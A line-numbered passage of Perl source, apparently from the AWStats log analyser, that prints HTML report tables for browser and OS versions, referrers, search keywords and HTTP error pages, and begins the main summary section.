8436 if ($rest_p > 0 || $rest_e > 0 || $rest_k > 0) {
8437 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
8438 if ($ShowPagesStats =~ /P/i) { print "<td>".($rest_p?$rest_p:"&nbsp;")."</td>"; }
8439 if ($ShowPagesStats =~ /B/i) { print "<td>".($rest_k?Format_Bytes($rest_k/($rest_p||1)):"&nbsp;")."</td>"; }
8440 if ($ShowPagesStats =~ /E/i) { print "<td>".($rest_e?$rest_e:"&nbsp;")."</td>"; }
8441 if ($ShowPagesStats =~ /X/i) { print "<td>".($rest_x?$rest_x:"&nbsp;")."</td>"; }
8442 # Call to plugins' function ShowPagesAddField
8443 foreach my $pluginname (keys %{$PluginsLoaded{'ShowPagesAddField'}}) {
8444# my $function="ShowPagesAddField_$pluginname('')";
8445# eval("$function");
8446 my $function="ShowPagesAddField_$pluginname";
8447 &$function('');
8448 }
8449 print "<td>&nbsp;</td></tr>\n";
8450 }
8451 &tab_end();
8452 &html_end(1);
8453 }
8454 if ($HTMLOutput{'unknownos'}) {
8455 print "$Center<a name=\"unknownos\">&nbsp;</a><br />\n";
8456 my $title="$Message[46]";
8457 &tab_head("$title",19,0,'unknownos');
8458 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent (".(scalar keys %_unknownreferer_l).")</th><th>$Message[9]</th></tr>\n";
8459 $total_l=0;
8460 my $count=0;
8461 &BuildKeyList($MaxRowsInHTMLOutput,1,\%_unknownreferer_l,\%_unknownreferer_l);
8462 foreach my $key (@keylist) {
8463 my $useragent=XMLEncode(CleanXSS($key));
8464 print "<tr><td class=\"aws\">$useragent</td>";
8465 print "<td>".Format_Date($_unknownreferer_l{$key},1)."</td>";
8466 print "</tr>\n";
8467 $total_l+=1;
8468 $count++;
8469 }
8470 $rest_l=(scalar keys %_unknownreferer_l)-$total_l;
8471 if ($rest_l > 0) {
8472 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
8473 print "<td>-</td>";
8474 print "</tr>\n";
8475 }
8476 &tab_end();
8477 &html_end(1);
8478 }
8479 if ($HTMLOutput{'unknownbrowser'}) {
8480 print "$Center<a name=\"unknownbrowser\">&nbsp;</a><br />\n";
8481 my $title="$Message[50]";
8482 &tab_head("$title",19,0,'unknownbrowser');
8483 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent (".(scalar keys %_unknownrefererbrowser_l).")</th><th>$Message[9]</th></tr>\n";
8484 $total_l=0;
8485 my $count=0;
8486 &BuildKeyList($MaxRowsInHTMLOutput,1,\%_unknownrefererbrowser_l,\%_unknownrefererbrowser_l);
8487 foreach my $key (@keylist) {
8488 my $useragent=XMLEncode(CleanXSS($key));
8489 print "<tr><td class=\"aws\">$useragent</td><td>".Format_Date($_unknownrefererbrowser_l{$key},1)."</td></tr>\n";
8490 $total_l+=1;
8491 $count++;
8492 }
8493 $rest_l=(scalar keys %_unknownrefererbrowser_l)-$total_l;
8494 if ($rest_l > 0) {
8495 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
8496 print "<td>-</td>";
8497 print "</tr>\n";
8498 }
8499 &tab_end();
8500 &html_end(1);
8501 }
8502 if ($HTMLOutput{'osdetail'}) {
8503 # Show os versions
8504 print "$Center<a name=\"osversions\">&nbsp;</a><br />";
8505 my $title="$Message[59]";
8506 &tab_head("$title",19,0,'osversions');
8507 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
8508 print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
8509 print "<th>&nbsp;</th>";
8510 print "</tr>\n";
8511 $total_h=0;
8512 my $count=0;
8513 &BuildKeyList(MinimumButNoZero(scalar keys %_os_h,500),1,\%_os_h,\%_os_h);
8514 my %keysinkeylist=();
8515 $max_h=1;
8516 # Count total by family
8517 my %totalfamily_h=();
8518 my $TotalFamily=0;
8519 OSLOOP: foreach my $key (@keylist) {
8520 $total_h+=$_os_h{$key};
8521 if ($_os_h{$key} > $max_h) { $max_h = $_os_h{$key}; }
8522 foreach my $family (keys %OSFamily) { if ($key =~ /^$family/i) { $totalfamily_h{$family}+=$_os_h{$key}; $TotalFamily+=$_os_h{$key}; next OSLOOP; } }
8523 }
8524 # Write records grouped in a browser family
8525 foreach my $family (keys %OSFamily) {
8526 my $p='&nbsp;';
8527 if ($total_h) { $p=int($totalfamily_h{$family}/$total_h*1000)/10; $p="$p %"; }
8528 my $familyheadershown=0;
8529 foreach my $key (reverse sort keys %_os_h) {
8530 if ($key =~ /^$family(.*)/i) {
8531 if (! $familyheadershown)
8532 {
8533 my $family_name='';
8534 if ($OSFamily{$family}) { $family_name=$OSFamily{$family}; }
8535 print "<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$family_name</b></td>";
8536 print "<td><b>".int($totalfamily_h{$family})."</b></td><td><b>$p</b></td><td>&nbsp;</td>";
8537 print "</tr>\n";
8538 $familyheadershown=1;
8539 }
8540 $keysinkeylist{$key}=1;
8541 my $ver=$1;
8542 my $p='&nbsp;';
8543 if ($total_h) { $p=int($_os_h{$key}/$total_h*1000)/10; $p="$p %"; }
8544 print "<tr>";
8545 print "<td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/os\/$key.png\"".AltTitle("")." /></td>";
8546
8547
8548 print "<td class=\"aws\">$OSHashLib{$key}</td>";
8549 my $bredde_h=0;
8550 if ($max_h > 0) { $bredde_h=int($BarWidth*($_os_h{$key}||0)/$max_h)+1; }
8551 if (($bredde_h==1) && $_os_h{$key}) { $bredde_h=2; }
8552 print "<td>$_os_h{$key}</td><td>$p</td>";
8553 print "<td class=\"aws\">";
8554 # alt and title are not provided to reduce page size
8555 if ($ShowOSStats) { print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; }
8556 print "</td>";
8557 print "</tr>\n";
8558 $count++;
8559 }
8560 }
8561 }
8562 # Write other records
8563 my $familyheadershown=0;
8564 foreach my $key (@keylist) {
8565 if ($keysinkeylist{$key}) { next; }
8566 if (! $familyheadershown) {
8567 my $p='&nbsp;';
8568 if ($total_h) { $p=int(($total_h-$TotalFamily)/$total_h*1000)/10; $p="$p %"; }
8569 print "<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
8570 print "<td><b>".($total_h-$TotalFamily)."</b></td><td><b>$p</b></td><td>&nbsp;</td>";
8571 print "</tr>\n";
8572 $familyheadershown=1;
8573 }
8574 my $p='&nbsp;';
8575 if ($total_h) { $p=int($_os_h{$key}/$total_h*1000)/10; $p="$p %"; }
8576 print "<tr>";
8577 if ($key eq 'Unknown') {
8578 print "<td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/browser\/unknown.png\"".AltTitle("")." /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
8579 }
8580 else {
8581 my $keywithoutcumul=$key; $keywithoutcumul =~ s/cumul$//i;
8582 my $libos=$OSHashLib{$keywithoutcumul}||$keywithoutcumul;
8583 my $nameicon=$keywithoutcumul; $nameicon =~ s/[^\w]//g;
8584 print "<td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/os\/$nameicon.png\"".AltTitle("")." /></td><td class=\"aws\">$libos</td>";
8585 }
8586 my $bredde_h=0;
8587 if ($max_h > 0) { $bredde_h=int($BarWidth*($_os_h{$key}||0)/$max_h)+1; }
8588 if (($bredde_h==1) && $_os_h{$key}) { $bredde_h=2; }
8589 print "<td>$_os_h{$key}</td><td>$p</td>";
8590 print "<td class=\"aws\">";
8591 # alt and title are not provided to reduce page size
8592 if ($ShowOSStats) { print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; }
8593 print "</td>";
8594 print "</tr>\n";
8595 }
8596 &tab_end();
8597 &html_end(1);
8598 }
8599 if ($HTMLOutput{'browserdetail'}) {
8600 # Show browsers versions
8601 print "$Center<a name=\"browsersversions\">&nbsp;</a><br />";
8602 my $title="$Message[21]";
8603 &tab_head("$title",19,0,'browsersversions');
8604 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
8605 print "<th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
8606 print "<th>&nbsp;</th>";
8607 print "</tr>\n";
8608 $total_h=0;
8609 my $count=0;
8610 &BuildKeyList(MinimumButNoZero(scalar keys %_browser_h,500),1,\%_browser_h,\%_browser_h);
8611 my %keysinkeylist=();
8612 $max_h=1;
8613 # Count total by family
8614 my %totalfamily_h=();
8615 my $TotalFamily=0;
8616 BROWSERLOOP: foreach my $key (@keylist) {
8617 $total_h+=$_browser_h{$key};
8618 if ($_browser_h{$key} > $max_h) { $max_h = $_browser_h{$key}; }
8619 foreach my $family (keys %BrowsersFamily) { if ($key =~ /^$family/i) { $totalfamily_h{$family}+=$_browser_h{$key}; $TotalFamily+=$_browser_h{$key}; next BROWSERLOOP; } }
8620 }
8621 # Write records grouped in a browser family
8622 foreach my $family (sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} } keys %BrowsersFamily) {
8623 my $p='&nbsp;';
8624 if ($total_h) { $p=int($totalfamily_h{$family}/$total_h*1000)/10; $p="$p %"; }
8625 my $familyheadershown=0;
8626 foreach my $key (reverse sort keys %_browser_h) {
8627 if ($key =~ /^$family(.*)/i) {
8628 if (! $familyheadershown) {
8629 print "<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>".uc($family)."</b></td>";
8630 print "<td>&nbsp;</td><td><b>".int($totalfamily_h{$family})."</b></td><td><b>$p</b></td><td>&nbsp;</td>";
8631 print "</tr>\n";
8632 $familyheadershown=1;
8633 }
8634 $keysinkeylist{$key}=1;
8635 my $ver=$1;
8636 my $p='&nbsp;';
8637 if ($total_h) { $p=int($_browser_h{$key}/$total_h*1000)/10; $p="$p %"; }
8638 print "<tr>";
8639 print "<td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/browser\/$family.png\"".AltTitle("")." /></td>";
8640 print "<td class=\"aws\">".ucfirst($family)." ".($ver?"$ver":"?")."</td>";
8641 print "<td>".($BrowsersHereAreGrabbers{$family}?"<b>$Message[112]</b>":"$Message[113]")."</td>";
8642 my $bredde_h=0;
8643 if ($max_h > 0) { $bredde_h=int($BarWidth*($_browser_h{$key}||0)/$max_h)+1; }
8644 if (($bredde_h==1) && $_browser_h{$key}) { $bredde_h=2; }
8645 print "<td>$_browser_h{$key}</td><td>$p</td>";
8646 print "<td class=\"aws\">";
8647 # alt and title are not provided to reduce page size
8648 if ($ShowBrowsersStats) { print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; }
8649 print "</td>";
8650 print "</tr>\n";
8651 $count++;
8652 }
8653 }
8654 }
8655 # Write other records
8656 my $familyheadershown=0;
8657 foreach my $key (@keylist) {
8658 if ($keysinkeylist{$key}) { next; }
8659 if (! $familyheadershown) {
8660 my $p='&nbsp;';
8661 if ($total_h) { $p=int(($total_h-$TotalFamily)/$total_h*1000)/10; $p="$p %"; }
8662 print "<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
8663 print "<td>&nbsp;</td><td><b>".($total_h-$TotalFamily)."</b></td><td><b>$p</b></td><td>&nbsp;</td>";
8664 print "</tr>\n";
8665 $familyheadershown=1;
8666 }
8667 my $p='&nbsp;';
8668 if ($total_h) { $p=int($_browser_h{$key}/$total_h*1000)/10; $p="$p %"; }
8669 print "<tr>";
8670 if ($key eq 'Unknown') {
8671 print "<td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/browser\/unknown.png\"".AltTitle("")." /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>";
8672 }
8673 else {
8674 my $keywithoutcumul=$key; $keywithoutcumul =~ s/cumul$//i;
8675 my $libbrowser=$BrowsersHashIDLib{$keywithoutcumul}||$keywithoutcumul;
8676 my $nameicon=$BrowsersHashIcon{$keywithoutcumul}||"notavailable";
8677 print "<td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/browser\/$nameicon.png\"".AltTitle("")." /></td><td class=\"aws\">$libbrowser</td><td>".($BrowsersHereAreGrabbers{$key}?"<b>$Message[112]</b>":"$Message[113]")."</td>";
8678 }
8679 my $bredde_h=0;
8680 if ($max_h > 0) { $bredde_h=int($BarWidth*($_browser_h{$key}||0)/$max_h)+1; }
8681 if (($bredde_h==1) && $_browser_h{$key}) { $bredde_h=2; }
8682 print "<td>$_browser_h{$key}</td><td>$p</td>";
8683 print "<td class=\"aws\">";
8684 # alt and title are not provided to reduce page size
8685 if ($ShowBrowsersStats) { print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; }
8686 print "</td>";
8687 print "</tr>\n";
8688 }
8689 &tab_end();
8690 &html_end(1);
8691 }
8692 if ($HTMLOutput{'refererse'}) {
8693 print "$Center<a name=\"refererse\">&nbsp;</a><br />\n";
8694 my $title="$Message[40]";
8695 &tab_head("$title",19,0,'refererse');
8696 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$TotalDifferentSearchEngines $Message[122]</th>";
8697 print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
8698 print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
8699 print "</tr>\n";
8700 $total_s=0;
8701 my $count=0;
8702 &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Refer'},\%_se_referrals_h,((scalar keys %_se_referrals_p)?\%_se_referrals_p:\%_se_referrals_h)); # before 5.4 only hits were recorded
8703 foreach my $key (@keylist) {
8704 my $newreferer=$SearchEnginesHashLib{$key}||CleanXSS($key);
8705 my $p_p; my $p_h;
8706 if ($TotalSearchEnginesPages) { $p_p=int($_se_referrals_p{$key}/$TotalSearchEnginesPages*1000)/10; }
8707 if ($TotalSearchEnginesHits) { $p_h=int($_se_referrals_h{$key}/$TotalSearchEnginesHits*1000)/10; }
8708 print "<tr><td class=\"aws\">$newreferer</td>";
8709 print "<td>".($_se_referrals_p{$key}?$_se_referrals_p{$key}:'&nbsp;')."</td>";
8710 print "<td>".($_se_referrals_p{$key}?"$p_p %":'&nbsp;')."</td>";
8711 print "<td>$_se_referrals_h{$key}</td>";
8712 print "<td>$p_h %</td>";
8713 print "</tr>\n";
8714 $total_p += $_se_referrals_p{$key};
8715 $total_h += $_se_referrals_h{$key};
8716 $count++;
8717 }
8718 if ($Debug) { debug("Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",2); }
8719 $rest_p=$TotalSearchEnginesPages-$total_p;
8720 $rest_h=$TotalSearchEnginesHits-$total_h;
8721 if ($rest_p > 0 || $rest_h > 0) {
8722 my $p_p;my $p_h;
8723 if ($TotalSearchEnginesPages) { $p_p=int($rest_p/$TotalSearchEnginesPages*1000)/10; }
8724 if ($TotalSearchEnginesHits) { $p_h=int($rest_h/$TotalSearchEnginesHits*1000)/10; }
8725 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
8726 print "<td>".($rest_p?$rest_p:'&nbsp;')."</td>";
8727 print "<td>".($rest_p?"$p_p %":'&nbsp;')."</td>";
8728 print "<td>$rest_h</td>";
8729 print "<td>$p_h %</td>";
8730 print "</tr>\n";
8731 }
8732 &tab_end();
8733 &html_end(1);
8734 }
8735 if ($HTMLOutput{'refererpages'}) {
8736 print "$Center<a name=\"refererpages\">&nbsp;</a><br />\n";
8737 # Show filter form
8738 &ShowFormFilter("refererpagesfilter",$FilterIn{'refererpages'},$FilterEx{'refererpages'});
8739 my $title="$Message[41]"; my $cpt=0;
8740 $cpt=(scalar keys %_pagesrefs_h);
8741 &tab_head("$title",19,0,'refererpages');
8742 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
8743 if ($FilterIn{'refererpages'} || $FilterEx{'refererpages'}) {
8744 if ($FilterIn{'refererpages'}) { print "$Message[79] <b>$FilterIn{'refererpages'}</b>"; }
8745 if ($FilterIn{'refererpages'} && $FilterEx{'refererpages'}) { print " - "; }
8746 if ($FilterEx{'refererpages'}) { print "Exclude $Message[79] <b>$FilterEx{'refererpages'}</b>"; }
8747 if ($FilterIn{'refererpages'} || $FilterEx{'refererpages'}) { print ": "; }
8748 print "$cpt $Message[28]";
8749 #if ($MonthRequired ne 'all') {
8750 # if ($HTMLOutput{'refererpages'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; }
8751 #}
8752 }
8753 else { print "$Message[102]: $cpt $Message[28]"; }
8754 print "</th>";
8755 print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
8756 print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
8757 print "</tr>\n";
8758 $total_s=0;
8759 my $count=0;
8760 &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Refer'},\%_pagesrefs_h,((scalar keys %_pagesrefs_p)?\%_pagesrefs_p:\%_pagesrefs_h));
8761 foreach my $key (@keylist) {
8762 my $nompage=CleanXSS($key);
8763 if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; }
8764 my $p_p; my $p_h;
8765 if ($TotalRefererPages) { $p_p=int($_pagesrefs_p{$key}/$TotalRefererPages*1000)/10; }
8766 if ($TotalRefererHits) { $p_h=int($_pagesrefs_h{$key}/$TotalRefererHits*1000)/10; }
8767 print "<tr><td class=\"aws\">";
8768 &ShowURLInfo($key);
8769 print "</td>";
8770 print "<td>".($_pagesrefs_p{$key}?$_pagesrefs_p{$key}:'&nbsp;')."</td><td>".($_pagesrefs_p{$key}?"$p_p %":'&nbsp;')."</td>";
8771 print "<td>".($_pagesrefs_h{$key}?$_pagesrefs_h{$key}:'&nbsp;')."</td><td>".($_pagesrefs_h{$key}?"$p_h %":'&nbsp;')."</td>";
8772 print "</tr>\n";
8773 $total_p += $_pagesrefs_p{$key};
8774 $total_h += $_pagesrefs_h{$key};
8775 $count++;
8776 }
8777 if ($Debug) { debug("Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",2); }
8778 $rest_p=$TotalRefererPages-$total_p;
8779 $rest_h=$TotalRefererHits-$total_h;
8780 if ($rest_p > 0 || $rest_h > 0) {
8781 my $p_p; my $p_h;
8782 if ($TotalRefererPages) { $p_p=int($rest_p/$TotalRefererPages*1000)/10; }
8783 if ($TotalRefererHits) { $p_h=int($rest_h/$TotalRefererHits*1000)/10; }
8784 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
8785 print "<td>".($rest_p?$rest_p:'&nbsp;')."</td>";
8786 print "<td>".($rest_p?"$p_p %":'&nbsp;')."</td>";
8787 print "<td>$rest_h</td>";
8788 print "<td>$p_h %</td>";
8789 print "</tr>\n";
8790 }
8791 &tab_end();
8792 &html_end(1);
8793 }
8794 if ($HTMLOutput{'keyphrases'}) {
8795 print "$Center<a name=\"keyphrases\">&nbsp;</a><br />\n";
8796 &tab_head($Message[43],19,0,'keyphrases');
8797 print "<tr bgcolor=\"#$color_TableBGRowTitle\"".Tooltip(15)."><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
8798 $total_s=0;
8799 my $count=0;
8800 &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Keyphrase'},\%_keyphrases,\%_keyphrases);
8801 foreach my $key (@keylist) {
8802 my $mot;
8803 # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
8804 if ($PluginsLoaded{'DecodeKey'}{'decodeutfkeys'}) { $mot=CleanXSS(DecodeKey_decodeutfkeys($key,$PageCode||'iso-8859-1')); }
8805 else { $mot = CleanXSS(DecodeEncodedString($key)); }
8806 my $p;
8807 if ($TotalKeyphrases) { $p=int($_keyphrases{$key}/$TotalKeyphrases*1000)/10; }
8808 print "<tr><td class=\"aws\">".XMLEncode($mot)."</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
8809 $total_s += $_keyphrases{$key};
8810 $count++;
8811 }
8812 if ($Debug) { debug("Total real / shown : $TotalKeyphrases / $total_s",2); }
8813 $rest_s=$TotalKeyphrases-$total_s;
8814 if ($rest_s > 0) {
8815 my $p;
8816 if ($TotalKeyphrases) { $p=int($rest_s/$TotalKeyphrases*1000)/10; }
8817 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>";
8818 print "<td>$p %</td></tr>\n";
8819 }
8820 &tab_end();
8821 &html_end(1);
8822 }
8823 if ($HTMLOutput{'keywords'}) {
8824 print "$Center<a name=\"keywords\">&nbsp;</a><br />\n";
8825 &tab_head($Message[44],19,0,'keywords');
8826 print "<tr bgcolor=\"#$color_TableBGRowTitle\"".Tooltip(15)."><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
8827 $total_s=0;
8828 my $count=0;
8829 &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Keyword'},\%_keywords,\%_keywords);
8830 foreach my $key (@keylist) {
8831 my $mot;
8832 # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
8833 if ($PluginsLoaded{'DecodeKey'}{'decodeutfkeys'}) { $mot=CleanXSS(DecodeKey_decodeutfkeys($key,$PageCode||'iso-8859-1')); }
8834 else { $mot = CleanXSS(DecodeEncodedString($key)); }
8835 my $p;
8836 if ($TotalKeywords) { $p=int($_keywords{$key}/$TotalKeywords*1000)/10; }
8837 print "<tr><td class=\"aws\">".XMLEncode($mot)."</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
8838 $total_s += $_keywords{$key};
8839 $count++;
8840 }
8841 if ($Debug) { debug("Total real / shown : $TotalKeywords / $total_s",2); }
8842 $rest_s=$TotalKeywords-$total_s;
8843 if ($rest_s > 0) {
8844 my $p;
8845 if ($TotalKeywords) { $p=int($rest_s/$TotalKeywords*1000)/10; }
8846 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>";
8847 print "<td>$p %</td></tr>\n";
8848 }
8849 &tab_end();
8850 &html_end(1);
8851 }
8852 foreach my $code (keys %TrapInfosForHTTPErrorCodes) {
8853 if ($HTMLOutput{"errors$code"}) {
8854 print "$Center<a name=\"errors$code\">&nbsp;</a><br />\n";
8855 &tab_head($Message[47],19,0,"errors$code");
8856 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>URL (".(scalar keys %_sider404_h).")</th><th bgcolor=\"#$color_h\">$Message[49]</th><th>$Message[23]</th></tr>\n";
8857 $total_h=0;
8858 my $count=0;
8859 &BuildKeyList($MaxRowsInHTMLOutput,1,\%_sider404_h,\%_sider404_h);
8860 foreach my $key (@keylist) {
8861 my $nompage=XMLEncode(CleanXSS($key));
8862 #if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; }
8863 my $referer=XMLEncode(CleanXSS($_referer404_h{$key}));
8864 print "<tr><td class=\"aws\">$nompage</td>";
8865 print "<td>$_sider404_h{$key}</td>";
8866 print "<td class=\"aws\">".($referer?"$referer":"&nbsp;")."</td>";
8867 print "</tr>\n";
8868 $total_s += $_sider404_h{$key};
8869 $count++;
8870 }
8871 # TODO Build TotalErrorHits
8872 # if ($Debug) { debug("Total real / shown : $TotalErrorHits / $total_h",2); }
8873 # $rest_h=$TotalErrorHits-$total_h;
8874 # if ($rest_h > 0) {
8875 # my $p;
8876 # if ($TotalErrorHits) { $p=int($rest_h/$TotalErrorHits*1000)/10; }
8877 # print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td>";
8878 # print "<td>$rest_h</td>";
8879 # print "<td>...</td>";
8880 # print "</tr>\n";
8881 # }
8882 &tab_end();
8883 &html_end(1);
8884 }
8885 }
8886 if ($HTMLOutput{'info'}) {
8887 # Not yet available
8888 print "$Center<a name=\"info\">&nbsp;</a><br />";
8889 &html_end(1);
8890 }
8891
8892 my $htmloutput='';
8893 foreach my $key (keys %HTMLOutput) { $htmloutput=$key; }
8894 if ($htmloutput =~ /^plugin_(\w+)$/) {
8895 my $pluginname=$1;
8896 print "$Center<a name=\"plugin_$pluginname\">&nbsp;</a><br />";
8897# my $function="AddHTMLGraph_$pluginname()";
8898# eval("$function");
8899 my $function="AddHTMLGraph_$pluginname";
8900 &$function();
8901 &html_end(1);
8902 }
8903 }
8904
8905 # Output main page
8906 #-----------------
8907
8908 if ($HTMLOutput{'main'}) {
8909
8910 # SUMMARY
8911 #---------------------------------------------------------------------
8912 if ($ShowSummary) {
8913 if ($Debug) { debug("ShowSummary",2); }
8914 #print "$Center<a name=\"summary\">&nbsp;</a><br />\n";
8915 my $title="$Message[128]";
8916 &tab_head("$title",0,0,'month');
8917
8918 my $NewLinkParams=${QueryString};
8919 $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
8920 $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
8921 $NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
8922 $NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
8923 $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
8924 $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
8925 $NewLinkParams =~ s/^&amp;//; $NewLinkParams =~ s/&amp;$//;
8926 if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&amp;"; }
8927 my $NewLinkTarget='';
8928 if ($FrameName eq 'mainright') { $NewLinkTarget=" target=\"_parent\""; }
8929
8930 # Ratio
8931 my $RatioVisits=0; my $RatioPages=0; my $RatioHits=0; my $RatioBytes=0;
8932 if ($TotalUnique > 0) { $RatioVisits=int($TotalVisits/$TotalUnique*100)/100; }
8933 if ($TotalVisits > 0) { $RatioPages=int($TotalPages/$TotalVisits*100)/100; }
8934 if ($TotalVisits > 0) { $RatioHits=int($TotalHits/$TotalVisits*100)/100; }
8935 if ($TotalVisits > 0) { $RatioBytes=int(($TotalBytes/1024)*100/($LogType eq 'M'?$TotalHits:$TotalVisits))/100; }
8936
8937 my $colspan=5;
8938 my $w='20';
8939 if ($LogType eq 'W' || $LogType eq 'S') { $w='17'; $colspan=6; }
8940
8941 # Show first/last
8942 print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
8943 print "<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\"".($colspan-1)."\">\n";
8944 print ($MonthRequired eq 'all'?"$Message[6] $YearRequired":"$Message[5] ".$MonthNumLib{$MonthRequired}." $YearRequired");
8945 print "</td></tr>\n";
8946 print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
8947 print "<td class=\"aws\"><b>$Message[8]</b></td>\n";
8948 print "<td class=\"aws\" colspan=\"".($colspan-1)."\">".($FirstTime?Format_Date($FirstTime,0):"NA")."</td>";
8949 print "</tr>\n";
8950 print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
8951 print "<td class=\"aws\"><b>$Message[9]</b></td>\n";
8952 print "<td class=\"aws\" colspan=\"".($colspan-1)."\">".($LastTime?Format_Date($LastTime,0):"NA")."</td>\n";
8953 print "</tr>\n";
8954
8955 # Show main indicators title row
8956 print "<tr>";
8957 if ($LogType eq 'W' || $LogType eq 'S') { print "<td bgcolor=\"#$color_TableBGTitle\">&nbsp;</td>"; }
8958 if ($ShowSummary =~ /U/i) { print "<td width=\"$w%\" bgcolor=\"#$color_u\"".Tooltip(2).">$Message[11]</td>"; } else { print "<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>"; }
8959 if ($ShowSummary =~ /V/i) { print "<td width=\"$w%\" bgcolor=\"#$color_v\"".Tooltip(1).">$Message[10]</td>"; } else { print "<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>"; }
8960 if ($ShowSummary =~ /P/i) { print "<td width=\"$w%\" bgcolor=\"#$color_p\"".Tooltip(3).">$Message[56]</td>"; } else { print "<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>"; }
8961 if ($ShowSummary =~ /H/i) { print "<td width=\"$w%\" bgcolor=\"#$color_h\"".Tooltip(4).">$Message[57]</td>"; } else { print "<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>"; }
8962 if ($ShowSummary =~ /B/i) { print "<td width=\"$w%\" bgcolor=\"#$color_k\"".Tooltip(5).">$Message[75]</td>"; } else { print "<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>"; }
8963 print "</tr>\n";
8964 # Show main indicators values for viewed traffic
8965 print "<tr>";
8966 if ($LogType eq 'M') {
8967 print "<td class=\"aws\">$Message[165]</td>";
8968 print "<td>&nbsp;<br />&nbsp;</td>\n";
